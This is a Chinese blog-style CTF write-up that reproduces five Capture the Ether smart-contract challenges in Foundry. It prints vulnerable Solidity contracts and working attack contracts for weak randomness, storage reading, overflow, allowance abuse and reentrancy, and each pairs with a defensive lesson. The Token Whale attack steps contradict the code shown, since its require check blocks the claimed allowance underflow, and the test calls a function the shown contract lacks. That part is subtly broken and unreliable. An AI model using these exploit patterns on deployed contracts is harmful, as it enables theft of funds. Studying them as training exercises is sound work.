前言

Capture the Ether 是经典的以太坊智能合约CTF挑战平台,涵盖从基础到高级的多种漏洞类型。本文用 Foundry 框架复现其中5个挑战,并给出完整的攻击合约代码。


挑战一:Guess the Random Number

漏洞:链上伪随机数

contract GuessNewNumber {
    function guess(uint8 n) public payable returns (bool pass) {
        uint8 answer = uint8(uint256(keccak256(abi.encodePacked(
            blockhash(block.number - 1), block.timestamp
        ))));
        if (n == answer) {
            msg.sender.call{value: 2 ether}("");
            pass = true;
        }
    }
}

问题blockhashblock.timestamp 都是公开信息,任何人都可以在同一区块内计算出答案。

攻击合约

contract ExploitContract {
    GuessNewNumber public guessNewNumber;

    function Exploit() public returns (uint8) {
        // 在同一区块内,用相同的输入计算
        uint8 answer = uint8(uint256(keccak256(abi.encodePacked(
            blockhash(block.number - 1), block.timestamp
        ))));
        return answer;
    }
}

教训:永远不要在链上生成随机数。应该使用 Chainlink VRF 等链下预言机方案。


挑战二:Guess the Random Number (Storage版)

漏洞:链上存储可读

contract GuessRandomNumber {
    uint8 answer;  // 存储在slot 0

    constructor() payable {
        answer = uint8(uint256(keccak256(abi.encodePacked(
            blockhash(block.number - 1), block.timestamp
        ))));
    }
}

问题answer 存储在链上,任何人可以通过 eth_getStorageAt 直接读取。

攻击方式

// 直接读取slot 0
const answer = await ethers.provider.getStorageAt(contractAddress, 0);

教训:链上存储的所有数据都是公开的,private 只是访问修饰符,不影响数据可见性。


挑战三:Token Sale(整数溢出)

漏洞:unchecked乘法溢出

function buy(uint256 numTokens) public payable returns (uint256) {
    uint256 total = 0;
    unchecked {
        total += numTokens * PRICE_PER_TOKEN;  // 可溢出!
    }
    require(msg.value == total);
    balanceOf[msg.sender] += numTokens;
}

问题:Solidity 0.8+ 默认检查溢出,但 unchecked 块禁用了这个保护。

整数溢出攻击合约

function attack() public {
    unchecked {
        uint256 pricePerToken = 1 ether;
        // 计算溢出后恰好等于很小值的token数量
        uint256 numTokens = type(uint256).max / pricePerToken + 1;
        uint256 cost = numTokens * pricePerToken; // 溢出! 实际≈0.416 ETH
        
        tokenSale.buy{value: cost}(numTokens); // 用0.416 ETH买到海量token
        tokenSale.sell(1); // 卖1个token取回1 ETH,净赚
    }
}

数学原理

numTokens = 2^256 / 10^18 + 1
cost = numTokens × 10^18 mod 2^256 ≈ 0.416 ETH

教训unchecked 块需要格外小心。如果必须使用,要手动验证不会溢出。


挑战四:Token Whale(ERC20授权绕过)

漏洞:transferFrom中unchecked下溢

function transferFrom(address from, address to, uint256 value) public {
    require(balanceOf[from] >= value);
    require(balanceOf[to] + value >= balanceOf[to]); // 溢出检查
    require(allowance[from][msg.sender] >= value);

    allowance[from][msg.sender] -= value; // unchecked! 可下溢
    _transfer(to, value);
}

function _transfer(address to, uint256 value) internal {
    unchecked {
        balanceOf[msg.sender] -= value;  // 这里也有问题
        balanceOf[to] += value;
    }
}

问题_transfer 内部函数用 unchecked,且 transferFromallowance 扣减没有溢出保护。

攻击思路

  1. A 授权 B 1 token
  2. B 调用 transferFrom(A, B, 2) —— allowance 从1减2下溢为 type(uint256).max
  3. 现在 B 可以无限转走 A 的token

教训:ERC20实现必须用 SafeMath 或确保所有减法在 unchecked 外。


挑战五:Token Bank(重入攻击)

漏洞:ERC223回调+状态更新顺序

contract TokenBankChallenge {
    function withdraw(uint256 amount) public {
        require(balanceOf[msg.sender] >= amount);
        require(token.transfer(msg.sender, amount)); // 先转账(触发回调)
        unchecked {
            balanceOf[msg.sender] -= amount; // 后更新状态
        }
    }
}

问题:ERC223的 transfer 会调用接收方的 tokenFallback,攻击者可以在此回调中重入 withdraw

重入攻击合约

contract TokenBankAttacker {
    TokenBankChallenge public challenge;

    // ERC223回调:重入withdraw
    function tokenFallback(address from, uint256 value, bytes calldata) external {
        require(msg.sender == address(challenge.token()));
        if (from != address(challenge)) return;
        _callWithdraw();  // 重入!
    }

    function _callWithdraw() private {
        uint256 myBalance = challenge.balanceOf(address(this));
        uint256 bankBalance = challenge.token().balanceOf(address(challenge));
        if (myBalance > 0 && bankBalance > 0) {
            challenge.withdraw(myBalance < bankBalance ? myBalance : bankBalance);
        }
    }
}

攻击流程

  1. 存入token → tokenFallback 触发 → 重入 withdraw
  2. 由于 balanceOf 还没更新,require 通过
  3. 反复提取,直到银行余额为0

教训:遵循 Checks-Effects-Interactions 模式。先更新状态,再进行外部调用。


漏洞类型总结

挑战 漏洞类型 根因 防御措施
GuessNewNumber 链上伪随机 链上数据公开 Chainlink VRF
GuessRandomNumber Storage读取 private不隐藏数据 链下存储敏感数据
TokenSale 整数溢出 unchecked禁用检查 SafeMath或避免unchecked
TokenWhale 授权绕过 unchecked下溢 完整的溢出检查
TokenBank 重入攻击 状态更新顺序 Checks-Effects-Interactions

Foundry测试框架

每个挑战都配有Foundry测试文件:

contract GuessNewNumberTest is Test {
    GuessNewNumber public challenge;
    ExploitContract public exploit;

    function setUp() public {
        challenge = new GuessNewNumber{value: 1 ether}();
        exploit = new ExploitContract();
    }

    function testExploit() public {
        uint8 answer = exploit.Exploit();
        challenge.guess{value: 1 ether}(answer);
        assertTrue(challenge.isComplete());
    }
}

运行测试:

forge test --match-contract GuessNewNumberTest -vvv

延伸阅读


代码仓库:F:\202507\capture-the-ether-foundry,每个挑战独立目录,含合约+攻击+测试。

Stay tuned! 🚀